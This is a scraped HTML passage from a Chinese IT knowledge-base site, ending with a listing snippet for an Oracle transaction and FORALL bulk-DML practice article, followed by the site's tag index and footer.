title="Oracle基本事务和ForAll执行批量DML练习" target="_blank">Oracle基本事务和ForAll执行批量DML练习</a> <span class="text-muted">vipbooks</span> <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a> <div>基本事务的使用: 从账户一的余额中转100到账户二的余额中去,如果账户二不存在或账户一中的余额不足100则整笔交易回滚 select * from account; -- 创建一张账户表 create table account( -- 账户ID id number(3) not null, -- 账户名称 nam</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>